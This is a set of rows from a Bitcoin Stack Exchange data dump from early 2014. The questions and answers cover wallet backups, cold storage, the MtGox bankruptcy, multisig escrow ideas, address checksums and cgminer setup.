  <row Id="22827" PostTypeId="2" ParentId="22823" CreationDate="2014-02-28T13:06:58.013" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;(1) what should I do in order to save my bitcoins if something happens&#xA;  to blockchain.info. Can I access to my bitcoin with ANY wallet, if I&#xA;  know my address and private key, or if I know my address and password?&#xA;  if so, how do I find my private key?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should backup your wallet, using one or more of the options blockchain.info provides.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(2) I've also noticed a backup option in blockchain.info wallet. If I&#xA;  use it, can I get access to my bitcoins with this backup, with every&#xA;  wallet? should I save a new backup after every transmission of&#xA;  bitcoins from my blockchain.info wallet?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With wallets that are compatible with the format, such as &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;Multibit&lt;/a&gt;, yes. I think it's safe to say that there'll always be &lt;em&gt;some&lt;/em&gt; tool on the Internet you can use to read the file, but downloading the Multibit client (even if you don't plan to use it right now) wouldn't hurt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how often to backup, I'm unsure of blockchain.info's setup...if you only have one address, then you only have one private key, and you don't need to rebackup. If you have multiple addresses, then you need to backup periodically or even after every transaction. You can see if the backup file is any different to see if you actually needed a different export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info has the following instructions for accessing your backup, even if blockchain.info is permanently offline:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Download the Multibit desktop client available for Windows, Mac OSX&#xA;  and Linux.&lt;/li&gt;&#xA;  &lt;li&gt;Launch the application. Choose Tools -&gt; Import Private&#xA;  Keys.&lt;/li&gt;&#xA;  &lt;li&gt;Click the &quot;Choose Import File&quot; button and navigate to your&#xA;  wallet.aes.json file. Change the file format to *.aes.json and open&#xA;  the file.&lt;/li&gt;&#xA;  &lt;li&gt;Enter the wallet password and press unlock. If required&#xA;  enter the second password and press unlock again.&lt;/li&gt;&#xA;  &lt;li&gt;Click The Import&#xA;  Private Keys Button to complete the process. Your balance will be&#xA;  restored once the blockchain has downloaded.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(3) Wha'ts the best way to prevent a situation where a malware &quot;reads&quot;&#xA;  my password when I enter it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Make sure there's no such malware when you enter your password. One way to be sure this is true, is to work from an offline Linux Live CD. E.g. see &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_set_up_a_secure_offline_savings_wallet&quot; rel=&quot;nofollow&quot;&gt;How to set up a secure offline savings wallet&lt;/a&gt; and/or &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1bxa4e/bitbuntu_an_ubuntu_livecd_with_all_your_bitcoin/&quot; rel=&quot;nofollow&quot;&gt;bitBuntu&lt;/a&gt;. You can decide for yourself, based on how likely you think it is that you're infected and how much money you're dealing with, whether that's worth the trouble to you.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-02-28T14:13:10.237" LastActivityDate="2014-02-28T14:13:10.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22828" PostTypeId="1" AcceptedAnswerId="25000" CreationDate="2014-02-28T13:41:46.697" Score="3" ViewCount="708" Body="&lt;p&gt;Usually, a Bitcoin wallet includes multiple addresses, and each address has a balance of 0 or more Bitcoins. When a payment is sent out, outgoing Bitcoins are taken from one or more addresses, depending on their balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to choose the transaction source address (assuming that specific address has enough balance, of course)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can think of two ways to manually enforce it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use (or create) a new wallet with a single address, send Bitcoins from your main wallet to that address, then send the payment from the new wallet.&lt;/li&gt;&#xA;&lt;li&gt;Move all the Bitcoins in your wallet to a single address in the same wallet; then each new payment will have to be origined from that address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any simpler way to obtain this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this feature is not included in the reference client, does any other wallet include it?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2014-04-30T03:00:26.960" Title="How to make a transaction start from a given address?" Tags="|transactions|wallet|address|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22829" PostTypeId="2" ParentId="22769" CreationDate="2014-02-28T15:50:08.890" Score="2" Body="&lt;p&gt;One of the best sites I've found is &lt;a href=&quot;http://bitcoincharts.com/charts/bitstampUSD#rg120ztgCzm1g10zm2g25zv&quot; rel=&quot;nofollow&quot;&gt;Bitcoincharts.com&lt;/a&gt;. The charts allow you to see Bitcoin prices from its entire history or down to the hour. It allows you to view the prices on different exchanges and markets too.&lt;/p&gt;&#xA;" OwnerDisplayName="user14010" LastActivityDate="2014-02-28T15:50:08.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22830" PostTypeId="1" CreationDate="2014-02-28T16:28:08.673" Score="1" ViewCount="450" Body="&lt;p&gt;Given the recent events and today's news about MtGox filing for &lt;em&gt;bankruptcy&lt;/em&gt;, is my money on MtGox completely lost? and what are my options now?&lt;/p&gt;&#xA;" OwnerUserId="3574" LastActivityDate="2014-02-28T18:03:43.317" Title="MtGox money completely lost?" Tags="|mtgox|" AnswerCount="1" CommentCount="1" ClosedDate="2014-03-01T03:54:26.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="22831" PostTypeId="1" CreationDate="2014-02-28T17:09:21.213" Score="2" ViewCount="185" Body="&lt;p&gt;I'm exploring having a bitcoin (or any blockchain) backed a distributed secure messaging system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a peer to peer network that would pay for transport. In essence, it's the wild west, your key pair is your wax seal, and you've given someone $10 to deliver your letter back home to New York. I want to use Bitcoin to hold that $10 in escrow until the letter has been delivered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Bitcoin can do multi-signature transactions but I'm not positive Bitcoin can do what I want, so I turn to this community.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin gives us public and private keys for secure message delivery.&lt;/li&gt;&#xA;&lt;li&gt;Bitcoin gives us the ability to pay people for transport. &lt;/li&gt;&#xA;&lt;li&gt;We have 3 parties involved. A courier, sender and receiver.&lt;/li&gt;&#xA;&lt;li&gt;We also have two transactions. One of the message from sender to receiver (or a key for said message), and one of the payment from sender to courier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd like to ensure both transactions happen simultaneously. Without trust.&lt;/p&gt;&#xA;" OwnerUserId="11004" LastActivityDate="2014-03-01T05:12:37.163" Title="Is it possible to do a digital charge on delivery (COD)?" Tags="|multi-signature|message-signing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22832" PostTypeId="2" ParentId="703" CreationDate="2014-02-28T17:46:52.650" Score="0" Body="&lt;p&gt;If you know what you're doing, you can craft a raw transaction manually using just your private key, a list of unspent outputs associated with your source address, and the destination address. There are open-source tools that allows you to do that securely offline (e.g. brainwallet.org).&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-02-28T17:46:52.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22833" PostTypeId="2" ParentId="22831" CreationDate="2014-02-28T17:52:38.367" Score="3" Body="&lt;p&gt;Here is one possible idea that I believe is almost what you want and quite likely (or so I hope!) both good enough and actually particularly good by incentizing all involved parties to collaborate to that goal. The basic idea is to incentize the recipient to sign for reception in a way that prevents him from lying just to collect the incentive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use multisig Bitcoin transactions, where the sender sends bitcoin into a multisig address requiring four distinct signatures, one from each party and a special throw-away one. The sender also performs his signature, authorizing a payment to the other two parties (say worth 9 dollar to the courier and 1 dollar to the sender) in a way that not only all other parties have to sign it, but beyond that yet another signature by the sender is required (using a fresh bitcoin address the sender generated only for this message). Instead of keeping the private key, the sender uses the public key of the recipient to encrypt the private key into a cyphertext that only the receiver can decrypt. This is possible with the ECC keys underlying bitcoin, although they are used in bitcoin in a different way, to generate signatures (but alternatively any other asymmetric crypto can be used, e.g. PGP/OpenSSL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, only by completing the delivery can the payment proceed, and the sender cannot withdraw from his commitment anymore. It falls slightly short of what you desired (all payment going to the courier) because without an incentive to bother decrypting and finalizing the payment, it is likely that the recipient simply will not bother, creating significant risk to the courier of not getting paid. But with an incentive, and no means to change the split fraction, we can expect the recipient to usually (and with sufficient incentive, almost always) collaborate, which reassures the courier to go along with the scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious drawback of this scheme is that it requires off-blockchain communication, because (unless I am mistaken), partially signed multsig transactions do not get propagated across the network, and because of the encryption involved in transfering the private key to the fourth bitcoin address. Also, if you were not talking about a physical courier service, this solution does not apply, because having an encrypted communication channel to a sufficiently authenticated recipient (such that the sender already trusts sending to that person) implies that you can already pass any message without a courier as intermediary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A maybe less obvious drawback is that the cypthertext attached to the message to be delivered must not be easily separated from the two, or your courier (or the wild west bandit robbing him) could just do that, and have only the ciphertext, not your message delivered in the hope that the recipient will collaborate in hiding the nondelivery by signing for collecting the incentive anyways. With digital messages, this can be achieved (e.g. xor the ciphertext with a hash of the message), but then again, for purely data-based messages, you do not need the courier if you have everything necessary for this scheme.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-02-28T19:18:01.173" LastActivityDate="2014-02-28T19:18:01.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22834" PostTypeId="2" ParentId="22830" CreationDate="2014-02-28T18:03:43.317" Score="1" Body="&lt;p&gt;It would depend on what the bankruptcy laws are in Japan and if the exchange has any assets or Bitcoins left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it depends on how much the legal fees are involved it finding and converting all these into cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should make sure you are included in the list of creditors or you will have no chance for a recovery of anything. And if you do recover, it will usually be pennies on the dollar.&lt;/p&gt;&#xA;" OwnerUserId="13667" LastActivityDate="2014-02-28T18:03:43.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22835" PostTypeId="2" ParentId="22828" CreationDate="2014-02-28T18:14:22.410" Score="0" Body="&lt;p&gt;The simplest way to obtain this behavior is to use a client operating from only one bitcoin address. Whilst I do not have an overview of which ones might do it, I suspect you should be able to configure any, including the standard client, to do this by setting a size for the pool of bitcoin address it generates for its wallet to one (a possible caveat might be that some clients might refuse to use the originating address as change address). Getting your users to consistently abide by configuring their bitcoin client/wallet used with your service could be the real problem here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm quite aware of a possible use case, where for reasons of knowing your customer or doing due dilligence or even just some internal requirement you want to be sure funds are coming from the same known source. But unless you both have such requirements and lack the flexibility to find different solutions to it, you may be better served by the usual approach to tracking payments for particular purposes: Create a new bitcoin address for every payment you expect. This can equally easily be automatically validated by monitoring the blockchain, and does not need any actually automated address generation as this could happen offline in advance (with the automatic validation only having a list of public bitcoin addresses to monitor, not their private keys). If, as you explain it, you want to do this on behalf of someone else, you would ideally ask them to generate such a (long) list of bitcoin addresses they are willing to accept payment to. Then you have all you need to monitor if any of them received any payment.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2014-02-28T18:14:22.410" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22836" PostTypeId="2" ParentId="22825" CreationDate="2014-02-28T18:57:54.577" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/blockchain/My-Wallet-Android&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info Android Wallet&lt;/a&gt; app is open-source and has been heavily peer-reviewed by the community. Your private key is stored on the device once scanned, but it is encrypted with a password so even if you lose your phone they won't be able to access the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the using safe ROMs, Android is a very secure sandboxed virtual machine that has been rarely compromised. The encryption of your keys is based on powerful and heavily tested Java libraries which run on an open-source platform called &lt;a href=&quot;http://en.wikipedia.org/wiki/Dalvik_%28software%29&quot; rel=&quot;nofollow&quot;&gt;Dalvik&lt;/a&gt;, which is based on the Java Virtual Machine (JVM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, you really couldn't ask for a more secure environment.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-28T18:57:54.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22837" PostTypeId="2" ParentId="22819" CreationDate="2014-02-28T19:23:42.540" Score="3" Body="&lt;p&gt;Here's an example of a pair of valid addresses that differ by only one character.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1xxxxxxxxxxxxxxxxxxxy1wqmDWjatp7t&#xA;1xxxxxxxxxxxxxxxxxxxy1wqmDWgatp7t&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;another example pair&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1xxxxxxxxxxxxxxxxxxxxyE4zW1N3nMx2&#xA;1xxxxxxxxxxxxxxxxxxxxyE4zW1U3nMx2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For both pairs, the 32-bit checksums are NOT the same, but they satisfy the condition that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(checksum1 % 656356768) == ((checksum2 + 356826688) % 656356768)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13751" LastEditorUserId="13751" LastEditDate="2014-02-28T19:53:41.963" LastActivityDate="2014-02-28T19:53:41.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22838" PostTypeId="2" ParentId="22818" CreationDate="2014-02-28T19:56:08.687" Score="1" Body="&lt;p&gt;Actually, I forgot to start cgminer with the user running X (being autologged in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;su user_running_the_x_session -c &quot;/home/user/mine.sh&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;worked perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW Art Shayderov, yes, cron is used for repeated jobs, like for example the one I am talking about here ;)&lt;/p&gt;&#xA;" OwnerUserId="14002" LastActivityDate="2014-02-28T19:56:08.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22839" PostTypeId="2" ParentId="22825" CreationDate="2014-02-28T20:31:48.993" Score="0" Body="&lt;p&gt;If it's a large amount of money, you could consider keeping a cold wallet and a hot wallet. This is what exchanges do, and Mt.Gox tried to do but failed spectacularly at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your paper wallet will be your cold wallet. You will need a computer which is virus-free and not connected to the Internet very often (e.g. take an old computer which you never use, wipe the hard drive, install Linux on it, and don't use it for anything other than running a Bitcoin wallet). Keep a hot wallet on your phone, which you use to pay people. When it runs out of funds, go to that computer, send money from your cold wallet to your hot wallet, and turn the computer off. (Technically, there is an even more secure way to do it. The computer will remain forever offline, even when creating the transaction. The idea is to form the transaction on another computer, sign it using your private key stored on the cold computer, and then broadcast the transaction it using the other computer. However, this is a bit annoying to do and I wouldn't worry about it unless you were operating a Bitcoin service dealing with thousands of customers' bitcoins.)&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-02-28T20:31:48.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22840" PostTypeId="2" ParentId="22796" CreationDate="2014-02-28T20:36:36.657" Score="63" Body="&lt;p&gt;We get a lot of questions revolving around the questions and problems faced by&#xA;new users of Bitcoin. While some of this is beyond your question, this answer might work as a potential lightning rod for some of the questions that get asked anew here almost daily. In the following you find a few hand-picked questions that are likely of interest for new users.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What is Bitcoin?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/336/5406&quot;&gt;What is a good way to concisely explain Bitcoin?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/16/5406&quot;&gt;What are some good resources for understanding Bitcoin?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/13059/5406&quot;&gt;What's the difference between a wallet and an address?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/73083/5406&quot;&gt;The Bitcoin.it wiki says addresses do not carry balances...but all info suggests otherwise&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Where to get a wallet?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to receive and send Bitcoin you need a wallet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/4178/5406&quot;&gt;What is a good resource to help newbies choose their first wallet/s?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/35572/5406&quot;&gt;How many addresses does my wallet.dat contain? Do I need to make a new backup every time I make a transaction?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;How do I get Bitcoin?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/91/5406&quot;&gt;How do you obtain bitcoins?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/4194/5406&quot;&gt;What's a good resource explaining the best ways to buy Bitcoin (noob friendly)?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;What gives Bitcoins value?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/182/5406&quot;&gt;Where do bitcoins come from and what gives them their value?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/2566/5406&quot;&gt;How is the exchange rate for Bitcoin established?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Where can I spend Bitcoin?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/2089/5406&quot;&gt;Where can I go to find a list of merchants who accept bitcoins?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;What skills are necessary to use Bitcoin?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/13966/5406&quot;&gt;What's the minimum age to join or use Bitcoin?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/1635/5406&quot;&gt;What software and skills do I need?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;What is mining? How does it work?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/148/5406&quot;&gt;What exactly is Mining?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3174/5406&quot;&gt;What is the rationale behind Bitcoin mining?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/12427/5406&quot;&gt;Can someone explain how the Bitcoin Blockchain works?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Is Mining profitable? How can I get started?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/118/5406&quot;&gt;How much Bitcoin will I mine right now with hardware X?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/1433/5406&quot;&gt;How can I start mining Bitcoin?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/2154/5406&quot;&gt;Why does mining profitability tend towards zero?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/41276/5406&quot;&gt;In the ASIC-age, is it worth starting mining Bitcoin at home?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;How do I get started with Bitcoin.Stackexchange?&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check out our &lt;a href=&quot;https://bitcoin.stackexchange.com/about&quot;&gt;Tour&lt;/a&gt; for a quick overview.&lt;/li&gt;&#xA;&lt;li&gt;Some pointers on asking questions: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/how-to-ask&quot;&gt;How to Ask&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;More helpful info can be found in the &lt;a href=&quot;https://bitcoin.stackexchange.com/help/&quot;&gt;Help Center&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you are looking for some interesting reads, check out the most &lt;a href=&quot;https://bitcoin.stackexchange.com/questions?sort=frequent&quot;&gt;frequently asked questions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Swing by our chat: &lt;a href=&quot;http://chat.stackexchange.com/rooms/8089/bitcoin-lounge&quot;&gt;Bitcoin Lounge&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2020-04-29T03:40:20.143" LastActivityDate="2020-04-29T03:40:20.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22841" PostTypeId="2" ParentId="22796" CreationDate="2014-02-28T20:40:24.557" Score="2" Body="&lt;p&gt;You say initially that you are both new to bitcoin, and that  you understand it through your readings. These two are in direct opposition, and judging from the following question, &quot;... but how do you get started with mining?&quot; I would wager that you'd be wise to recognize the vast expanse that is bitcoin comprehension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doubly so when it comes to the incredibly technically demanding arena of Bitcoin Mining.&#xA;About 8 months ago I may have said similar things, asked similar questions, and so to answer them point blank I suggest you;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Before posting a question/s search, probe the limitless knowledge base the internet offers. There is a good chance you will find what you seek as many questions you have will always be answered 1mXover.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. Read as much as you can of the works of the foremost thinkers, developers, companies, geniuses like Adam Back, the creator of Hash Cash and Erik Vorhees, outspoken and soft spoken Model Actor of Bitcoin. By listening to videos and Let's Talk Bitcoin podcasts featuring such acts as these and many others you will quickly enrich your bitcoin consciousness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C. Have fun! And don't be afraid to ask, and before buying mining equipment, be sure to weigh your Risk Versus Reward (Difficulty at ~3.9Bn and rising!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-YourGenesisBloke&lt;/p&gt;&#xA;" OwnerUserId="14016" LastActivityDate="2014-02-28T20:40:24.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22842" PostTypeId="1" CreationDate="2014-02-28T20:42:01.517" Score="0" ViewCount="26" Body="&lt;p&gt;After several weeks of not updating my QT wallet I get the message &quot;Warning: Displayed transactions may not be correct! You may need to upgrade, or other nodes may need to upgrade.&quot;  I tried uninstalling bitcoin QT and installing the latest version but that didn't do anything.  I don't know much about bitcoin wallets so a detailed explanation of how to fix this would be great! thanks&lt;/p&gt;&#xA;" OwnerUserId="13996" LastActivityDate="2014-02-28T20:42:01.517" Title="Warning: Displayed transactions may not be correct!" Tags="|wallet|network|" AnswerCount="0" CommentCount="2" ClosedDate="2014-03-01T08:05:40.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="22848" PostTypeId="1" CreationDate="2014-02-28T23:10:14.753" Score="1" ViewCount="779" Body="&lt;p&gt;I started mining bitcoins a few months ago, picked up a couple ASIC miners and have had my computer using them. I've been mining using Slush pool. I had my settings set to send bitcoins to my address when I reached 0.1 bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally reached that yesterday, and Slush sent me my 0.1 (actually, it sent 0.1000341, because I was slightly above). The transaction can be seen as the second transaction on this page: &lt;a href=&quot;https://blockchain.info/address/1LxLWPmzh3uMCmTwterHoFkrQagsFoF3Wm&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1LxLWPmzh3uMCmTwterHoFkrQagsFoF3Wm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, that was great, I now have 0.1 bitcoins! Then, when I got home from work today, I checked my bitcoin wallet and I noticed that it said I have 0 bitcoins! I checked the transactions, and there's a second one listed. The second one listed is for the exact amount I just received, with a transaction date/time of &quot;28 Feb 2014 01:49&quot;, just under 8 hours after I received the bitcoins. (transaction listed at the top of the link posted above)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what happened? Did someone break into my wallet? Wouldn't they need my private key and my password to do that? Is there something else going on that I don't know about?&lt;/p&gt;&#xA;" OwnerUserId="14022" LastEditorUserId="15412" LastEditDate="2014-06-17T21:44:59.530" LastActivityDate="2014-06-17T21:44:59.530" Title="Bitcoins mysteriously transferred out of my wallet?" Tags="|wallet|lost-bitcoins|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22849" PostTypeId="1" CreationDate="2014-02-28T23:44:06.177" Score="2" ViewCount="122" Body="&lt;p&gt;I am wondering whether signatures for Bitcoin-like currencies are currency specific, or given one program that can sign a Bitcoin raw/JSON transaction one can create valid signatures for other coins as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is to say, if a program takes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A private key&lt;/li&gt;&#xA;&lt;li&gt;A pre-contructed raw / JSON transaction&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is the signing process requiring something specific to a given currency, like referencing an address in a different form or using some currency-specific bytes?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-05-30T05:29:44.637" Title="Are Bitcoin signatures currency specific?" Tags="|transactions|altcoin|signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22850" PostTypeId="1" CreationDate="2014-03-01T00:01:55.507" Score="1" ViewCount="3998" Body="&lt;p&gt;I have read and read and read over the internet but noone seems to have problem like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im trying to setup cgminer on my Ubuntu 12.04 (64 bit) desktop but i failed. Downloaded cgminer from url &lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/&quot; rel=&quot;nofollow&quot;&gt;http://ck.kolivas.org/apps/cgminer/&lt;/a&gt; read all the instructions but not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error im getting when i try to start it is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./cgminer: error while loading shared libraries: libudev.so.1: cannot open shared object file: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help? btw im on Nvidia graphic if that makes a difference.&lt;/p&gt;&#xA;" OwnerUserId="14025" LastEditorUserId="5406" LastEditDate="2016-04-25T20:22:10.033" LastActivityDate="2016-04-25T20:22:10.033" Title="Setup cgminer on Ubuntu 12.04 (im getting libudev.so.1 not found error)" Tags="|miner-configuration|cgminer|ubuntu|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22851" PostTypeId="1" CreationDate="2014-03-01T00:21:39.350" Score="0" ViewCount="109" Body="&lt;p&gt;If I want to get all the Bitcoin transactions since it started, how do I go about doing this? Is it possible to get all that data from bitcoind database? &lt;/p&gt;&#xA;" OwnerUserId="14028" LastActivityDate="2014-03-01T03:59:10.380" Title="How can I get all the Bitcoin transactions data since its inception?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
